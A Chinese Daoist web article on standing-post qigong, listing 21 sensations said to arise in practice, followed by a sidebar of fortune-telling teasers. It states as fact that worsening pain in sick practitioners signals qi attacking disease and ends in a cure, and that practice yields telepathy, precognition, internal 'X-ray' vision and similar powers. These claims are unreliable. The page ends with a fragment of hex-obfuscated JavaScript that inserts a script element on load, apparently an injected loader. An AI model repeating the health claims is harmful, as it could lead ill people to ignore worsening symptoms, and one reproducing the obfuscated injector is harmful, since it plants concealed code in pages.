首页 / 道教丹道 / 道家修炼必读:站桩功的修炼效果,决不输于打坐!

道家修炼必读:站桩功的修炼效果,决不输于打坐!

道教丹道 2022-06-22 08:30

站桩时,不管有无意念活动,都要有感觉和反应,正常的感觉有助于水平的提高,否则站桩就没有意义了。而意念与感觉,二者常常是难以分开的,正确的感觉用语言形容出来,再有意识地运用到站桩中去,就是意念,而意识活动产生出与之相似的反应就是感觉。我们今天来用的许多意念活动就是前人根据他们的经验(包括感觉)而流传下来的。不同的意念活动可以有相同的感觉,而同一意念也可能有不同的感觉,究竟怎样是正确的感觉,只能从大体上讲一下,因为每个人的具体情况不同,解决问题时还要作具体分析。

一般讲来,在练习时,只要感觉舒适得力、协调平衡,不憋气,不过于紧张,练习后稍有疲劳或留有余兴,都可以认为是正常的,就可以坚持练下去。

练习时,不要针对某一种意念找某一种感觉,那样易流于形式,而可能练出副作用,只要注意精神切实、意念具体就行了。让各种感觉自然而然地形成,自然而然地消失,这样才能把功夫练到自己身上。

即使有时需要找一些意念产生的感觉,也是求意感,不要求力感,力感和意感的区别,很大程度决定于用意的深度和凝重程度。所以,功夫不到,不要用过于强烈的意念活动,所用的意念活动,要保证你能灵活地掌握并控制它的含义。

站桩的过程是一个不断进行自我调整的过程,由于间架、意念引起感觉,又用这些感觉对照间架、意念的要求去调整,同时检验意念活动的正确与否,就在不断思维、感觉、调整中,气血不养而自养,肌肉不练而自练,达到了锻炼的目的和养生的效果。


桩功的不同阶段不同层次会有不同的反应并表现出不同的功能态,此外,由于各人的体质不同,病情不一,练功目的各异,个体神经敏感度有差异,因而练功者也会出现各种各样、各自不同的反应,对这些反应,一般不必介意,任其自然即可。以下二十一种感觉、知觉和反应都是正常的功感效应,但要注意,不要过于有意识的追求它们。

练功不求功,功在其中;求功不出功,枉费心机。只顾耕耘,不顾收获,而收获自得,所谓“功到自然成”。

1、动觉:人体皮肤上出现蚂蚁爬行之痒感,也会出现肌肉振颤、身体摇晃等动感。蚁行感是气血流行表皮所致,摇晃是人体自身进行自发调整、寻求平衡的一种表现,无需理会。刚开始站桩不久的人,容易出现四肢肌肉颤抖的现象,尤其是腿部颤抖者多,这是桩功适应阶段的正常现象,全然不必介意。一段时间以后,这种动感现象就会自然消失,进入“不动”之佳境。

2、麻觉:练功初期,会感到皮肤发麻,尤其是手掌和脚掌部位感觉强烈,这是气血尚不够流通的正常反应,久之自然消除。练功到一定程度,麻觉特别是电麻感是人体生物电的反应,是功力增长的表现。麻觉时有时无,有时弱、有时强,练时有、不练无,以后又过渡到练与不练一个样的反应。

3、热觉:练功时,出现温热感,感觉身上某部位有一股热流在流行,或者全身发热,并伴有微汗,这是气血流通的好现象,即“气不运而自行”,但不能追求,要任其自然发展。

4、胀觉:膨胀感是筋骨训练中“挺筋腾膜”的正常效应,也是气血运行过程中动脉、静脉和毛细血管扩张的正常反应,到了高级阶段会感到周身微胀而及其舒适。

5、酸觉:一般初练者都会有肌肉发酸或酸痛的表现。例如,身体感到不自在,局部出现酸痛,特别是两肩,尤感强烈。这是因为局部肌肉紧张造成的。虽然站桩强调放松,但还需要一个最基本的力量保持间架的平衡,因此,站桩初期,往往松紧不能协调一致,或者虽然放松了,但松不透,所以出现肌肉酸痛或酸胀的反应是正常的,随着练功的深入,会自行消退。

6、痛觉:有些疾病患者,练功初期会感到局部疼痛加重。一般来说,这是通过练功后气血冲击病灶的良性反应,符合“痛则不痛、通则不痛”的中医原理。坚持练功,“气冲病灶”的反应会越来越弱,最后疾病也得以治愈了,这是正邪相搏而最终正胜邪败的结果。

7、喜觉:练功中感觉极其舒适愉快、心旷神怡,喜气洋洋,其乐融融,此时感觉是最幸福、最惬意的时刻。练功中要淡然处之,不能贪恋喜气,过喜伤心气。

8、响觉:肌肉、内脏、骨骼、关节都有不同程度的不同响动,如嘶嘶声、嗡嗡声、啪啪声、鸣叫声等,还会有打呃、肠鸣、放屁等现象。

9、沉觉:站桩中有浑厚、沉实、沉重的感觉,重心下沉,势如“不倒翁”,进一步则有“身如灌铅”的感觉,这是高级功感效应。

10、整觉:全身似被凝固,动弹不得,两手欲撑不开、欲合不拢、欲抬不起、欲放不下,人体与外界形成了整体,再进一步则会有“体整如铸”、“肌肉如一”的感觉。整体感是站桩中的高级感受,也是浑圆力的外在可感状态的表现之一。

11、轻觉:周身轻灵如燕,肌肉松柔,柔若无骨。身心同时感到轻松,如欲拔地起飞,随风飘荡。

12、飘觉:身体飘飘然,既有我,有无我,好像光有灵魂没有了肉体,只觉得周身轻灵飘渺,如一缕烟霞,如一片云朵,身心无拘无束,欣喜快乐,形体只有依稀自知。此时身已失重,但尚未失形。飘觉的出现表明练功者已进入了形神合一、身心合一的境界。

13、化觉:形体越来越轻,其轮廓越来越不分明,最终形体“气化”,与宇宙自然之气融为一体,这表明练功者进入了“天人合一”的境界。“飘”与“化”在感觉体验上的根本差别就在于:“飘”只失重而不失形,“化”则既失重又失形。

14、空觉:内无身心,外无世界,这是一种“物我两忘”的境界。“天人合一” 的境界是“虚无境界”的“虚”,而“物我两忘”的境界就是“虚无境界”的“无”。这是“炼虚合道”过程中的高级效应。

15、大觉:感到自己身高体大似能顶天立地。

16、性觉:心觉恍惚,周身酥绵快乐,阳物勃然举起,似将走泄并不走泄。性觉不同于日常房事中的性快感,性觉是练功者肾气旺盛、性功能增强的表现。练功有素者,行房交媾,往往坚硬而持久,大有欲罢不能、金枪不倒之势,对和谐性生活大有裨益。但性觉也是极易让人贪恋的,如果贪恋它,甚至想入非非,引起元精走泄,则有损功力。

17、香觉:身体内部发出种种馨香。

18、色觉:身体周围出现白、黄、红、黑、蓝、青、紫等多种颜色,尤其青、蓝、紫、绿为上乘功夫。

19、光觉:身体有通体透明的感觉,上下四周出现若明若暗的光亮,或者体内向外发出光束,体外形成光团、光圈、浑圆光球。

20、超觉:超越时空的感觉。有了忘却自我觉,超越时空觉就会自然产生。空间感的超越在忘却形体之时即已开始。事物存在的消失,空间即无从产生。到天人合一的境界,作为形体存在的那部分空间也就被忘却了,似有似无,若有若无。时间感的超越往往在练功结束后才发现。有两种情况,一种是“洞中才数日,世上已千年”,对时间的感觉缩短了,觉得才练功片刻,但看看钟表已过去了几小时。再一种相反,觉得练了好久了,但实际上才练了一二十分钟。再自我形体乃至自我意识的活动均已忘却的状态下,时间的知觉自然也不复存在。对时空的超越可以说是再“无”中完成的,在感觉到“无”的时候,便超越了时间和空间。

21、灵觉:遥感、预测、透视、“六神通”等特异功能显现,这是高智慧的境界,是潜意识激活后的直觉反应。入静后对未来事情特别敏感,有预见性,这就是预测、预见、预言能力。身体周围几米、十几米、几十米远的小动物的爬行、走动都清清楚楚,甚至能感知到远处某人的情绪反应、行为状态和心理活动,这就是遥感。入静中还能够看到自己的脏腑、骨骼和经络系统,这种内视功能就是透视。古中医学就是在内证实验中内视体察人体十二经络和奇经八脉的,正如明代医学家李时珍谈到经络起源时所说的“内景隧道,惟返观者能照察之”,其根据就是人体潜意识激活状态下的透视功能。

传统丹功修为中的“小周天”功法,就是内视任督二脉;“大周天”功法就是以意领气,意通十二经络;“卯酉周天”功法,则是意通奇经八脉。“六神通”类指丹功修为中的高级境界和特异功能,即:“天眼通”,能看到常人看不到的东西,能透视人体内脏和物体;“天耳通”,能听到常人所听不到的声音,就是远处极细微的声音也能听到;“神足通”,四肢灵活,手足轻灵,身体轻浮,走路快捷;“他心通”,有常人所没有的灵感,比他人更有先知先觉;“宿命通”,能感知过去的事物,能推测未来的事物;“漏尽通”,练功高度入静后,可以达到清净无为、恬淡虚无、忘我空无之境界,精、气、神不漏。

上述“站桩二十一觉”是站桩入静后的感觉体验和情绪体验,随来随去任自然,不要刻意追求,否则会给身心带来负担,甚至出偏差。

上述功感效应的体验大多仍在“六根”(眼、耳、鼻、舌、身、意)之内,丹功修炼是从“六根”修入,从“六根”修出,即“六根”紧闭,进入“虚无”、“空无”境界,这便是禅宗心法中的“入处”、“出处”和“了处”。

站桩时“内念不外游,外缘不内侵”,“有缘即住无缘去,一任清风送白云;六根清净方为静,放下身心见乾坤”。

当站桩达到“四如”境界,即“身如铅灌”、“体整如铸”、“肌肉如一”、“毛发如戟”的境界,就基本具备了“周身无点不弹簧”的功力,所谓“整体力”、“浑圆力”、“弹抖力”和“穿透力”也都基本拥有了,技击相搏,往往“打人似电击,放人如挂画”,这并非虚语。

王芗斋在论述站桩的功感效应和功夫层次时曾说:“用功觉得周身气血川流,身体有物,养性敛神,全体无滞,是初步功夫。若听全体嘶嘶有声,无论行坐,一触即能跌人丈外,是中乘功夫。身外生气,光芒四射,如用目视人,其人如失知觉,然后渐入神化之境矣”。

每一位大成学子,只要恪守宗师遗训,知行统一,持之以恒的坚持站桩,功夫都会如春起之苗,不见其增,日有所长。如果练练停停,三天打鱼,两天晒网,则功夫就会如磨刀之石,不见其减,日有所损。

猜你喜欢

  • 目录:1、和尚说我姻缘线断了什么意思2、人家看手相的说我的婚姻线已经动啦是什么意思啊求解谢谢3、感情线断开是怎么回事?4、如何看婚姻线:婚姻线断开一上一下?5、姻缘线断了是什么意思,婚姻线三条什么意思和尚说我姻缘线断了什么意思姻缘线被切断了说明不是姻缘线,是..

    八字2024-03-29
  • 目录:1、男马女猴婚配属相,男属马女属猴婚配如何2、属相婚配表男属马女属猴,男属马女属猴,在一起生肖五行相克不?_百度...3、男马女猴婚姻是否相配男马女猴婚配属相,男属马女属猴婚配如何1、男马女猴十二生肖配对结果:你们是对外所向披靡,相处时却容易产生摩擦的一对..

    八字2024-03-29
  • 目录:1、八字火太旺是忌水还是喜水2、生辰八字火多代表什么3、八字火多的女人命运会怎样?4、八字五行火过旺有什么影响?警惕怒气伤身,易患肺部疾病!5、五行火多的人怎么样?脾气火爆吗6、八字火太旺八字火太旺是忌水还是喜水火旺的八字,若八字中无滴水,就要忌水。丁火..

    八字2024-03-29
  • 目录:1、如果给你算命拆八字,你认为收多少钱合适呢?2、请高手帮忙拆八字3、拆八字郡是什么意思如果给你算命拆八字,你认为收多少钱合适呢?1、所谓“合适”,就是算命与命主双方都认可的数目。至于“多少”这个一般师门有规定的,照章收费就行。2、一般在线专业算卦算命..

    八字2024-03-29
  • 目录:1、男生戴红绳的含义2、男人求姻缘佩戴什么样的玉3、男人佩戴什么可以招桃花4、男生手上带红绳什么意思?5、单身的男孩子左手带个手链算什么?男生戴红绳的含义1、爱情的象征:一般一对恋人会戴一样的,男左女右,就像是信物一样!叫做“lovelace”爱之链,代表永远..

    八字2024-03-29
  • 目录:1、86年属虎的婚姻与命运如何2、1986年属虎的一生婚姻,1986年农历6月16属虎女婚姻和命运怎样3、86年虎女一生婚姻状况4、86年属虎后半生婚姻,1986年属虎的人婚姻5、属虎人爱情婚姻运势,86年属虎男有几段婚姻6、1986年属虎的一生婚姻,属虎婚姻运解析?86年属虎的婚姻..

    八字2024-03-29
  • 目录:1、本命年和本历年有啥不同?它们的概念分别是?2、什么叫做本命年?本命年又是什么?3、本命年多少岁4、本历年与本命年有什么区别5、什么叫本命年6、本年和本命年怎么算本命年和本历年有啥不同?它们的概念分别是?1、本历年即本命年,是十二年—遇的农历属相所在的年..

    本命年2024-03-29
  • 目录:1、最精准姓名配对爱情配对2、爱情姓名配对3、情侣名字配对指数如何推算姓名拼音首字母对应数字相加4、姓名恋爱配对,男女姓名星座缘分配对5、夫妻姓名配对测试看你们关系如何最精准姓名配对爱情配对姓名拼音推算配对指数数字和字母对应姓名配对婚姻对照表,1,2,..

    姓名配对2024-03-29
  • 目录:1、60岁属牛的人本命年为什么不能过生日?2、牛年本命年可以过生日吗?3、本命年为什么不能过生日60岁属牛的人本命年为什么不能过生日?因为60岁是本命年,本命年各方面运势都很低迷,会遇到很多不好的事情,甚至还会遇到一些突发性的情况,给属牛人带来很大的伤害。..

    本命年2024-03-29
  • 目录:1、姓名配对两人爱情结果两个人名字的笔画相加后2、情侣姓名笔画看你们的缘分3、姓名姻缘测试的方法有几种?又都各自代表了什么样的含义呢?4、姓名配对缘分测试,从名字笔画看两人姻缘?5、男女姓名配对测试婚姻,男女名字笔画测缘分?姓名配对两人爱情结果两个人名字..

    姓名配对2024-03-29
  • 目录:1、女生本命年结婚好吗2、本命年结婚为什么不好?3、本命年不宜结婚吗?4、本命年为什么不能结婚5、本命年结婚怎么样6、本命年结婚好还是不好,有什么讲究女生本命年结婚好吗女人本命年结婚好吗 在我国有一种传统,就是本命年的人结婚不太好,对一个人的身体健康以及..

    本命年2024-03-29
  • 目录:1、excel如何根据姓名匹配身份证号码2、Excel如何姓名自动匹配班级3、怎样用excel根据姓氏匹配工号?excel如何根据姓名匹配身份证号码1、使用INDEX/MATCH函数进行姓名与身份证号码的匹配,具体步骤如下:步骤1:在Excel表格中,将姓名列和身份证号码列分别命名为“..

    姓名配对2024-03-29
  • 目录:1、一生好运富贵的女孩小名,女孩名字里较大富大贵的字2、好听寓意好的小名3、女性好听又聚财的小名,好运气招财的女孩名字4、又顺利又有财气的小名,搜一个很好听,好霸气,很有财气而且很吉祥的名字...5、旺财的小名女一生好运富贵的女孩小名,女孩名字里较大富大贵的..

    财运2024-03-29
  • 目录:1、如何匹配2张excel中的名字2、怎么在表格里匹配同学的名字?3、excel表中怎么把两列姓名对应起来,比如王明和张华。4、两张表匹配相同名字的数据5、学生姓名与电子表格中的成绩如何匹配呢?如何匹配2张excel中的名字首先姓名配对电子表格,打开电脑姓名配对电子表..

    姓名配对2024-03-29
  • 目录:1、女人哪种脚型是富贵命超准测试2、准到不可思议!从脚相看女人的大富大贵3、从脚来看你的命运吉凶?女人哪种脚型是富贵命超准测试1、女人天生富贵的脚型埃及脚—富贵命女人有这种脚,天生脑子灵活,善于分析局势,最适合做领导性的工作,这种女人天生福气深厚,不..

    财运2024-03-29
  • 目录:1、免费测婚配八字网,求一个能够免费测八字合婚的网站?2、在线测姻缘免费测试,有免费测试缘分爱情指数的网站吗3、免费测你和他的缘分,有免费测试缘分爱情指数的网站吗4、男女姓名测试爱情缘分,怎么测试姓名缘分?5、免费姻缘八字配对,免费八字合婚网,生日爱情缘6、..

    姓名配对2024-03-29
  • 目录:1、婚姻配对免费测试姓名,名字配对姻缘,姓名姻缘配对测试2、名字婚配免费测试最准,免费姓名配对测试3、免费合婚姻最准的网站,免费合八字算婚姻网4、男女姓名匹配,姓名配对免费测姻缘5、姓名配对最准的免费网站,姓名配对哪一个网站更准啊?你试过吗?_百度知...婚姻..

    财运2024-03-29
  • 目录:1、姓名测试我和他的结局,姓名姻缘配对测试2、姓名配对测姻缘名字配对姻缘,姓名姻缘配对测3、非常运势网姓名测试打分,姓名测试打分生辰八字准吗4、姓名测试姻缘分长久,最准的姓名配对?姓名测试我和他的结局,姓名姻缘配对测试永远在一起。24岁终身监禁25恨你又爱你..

    姓名配对2024-03-29
  • 目录:1、天蝎座男和什么星座最配-注定爱上的星座2、天蝎座的最佳配对表3、星座婚配表大全天蝎座,十二星座配对表4、天蝎座男生的最佳配对5、十二星座名字配6、天蝎座男生配对星座表,揭秘天蝎男配对什么星座女?天蝎座男和什么星座最配-注定爱上的星座和天蝎男最配的星座..

    姓名配对2024-03-29
  • 目录:1、五爷庙求财许愿说什么2、增加偏财运该拜哪个菩萨3、偏财运是什么意思4、石榴木的人带什么菩萨偏财运5、问大年初四给观音菩萨和财神烧香出现长生香是什么意思有没有偏财运五爷庙求财许愿说什么许愿说词:弟子(信女)姓名、出生日期、家中地址,今日焚香并准备..

    财运2024-03-29
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();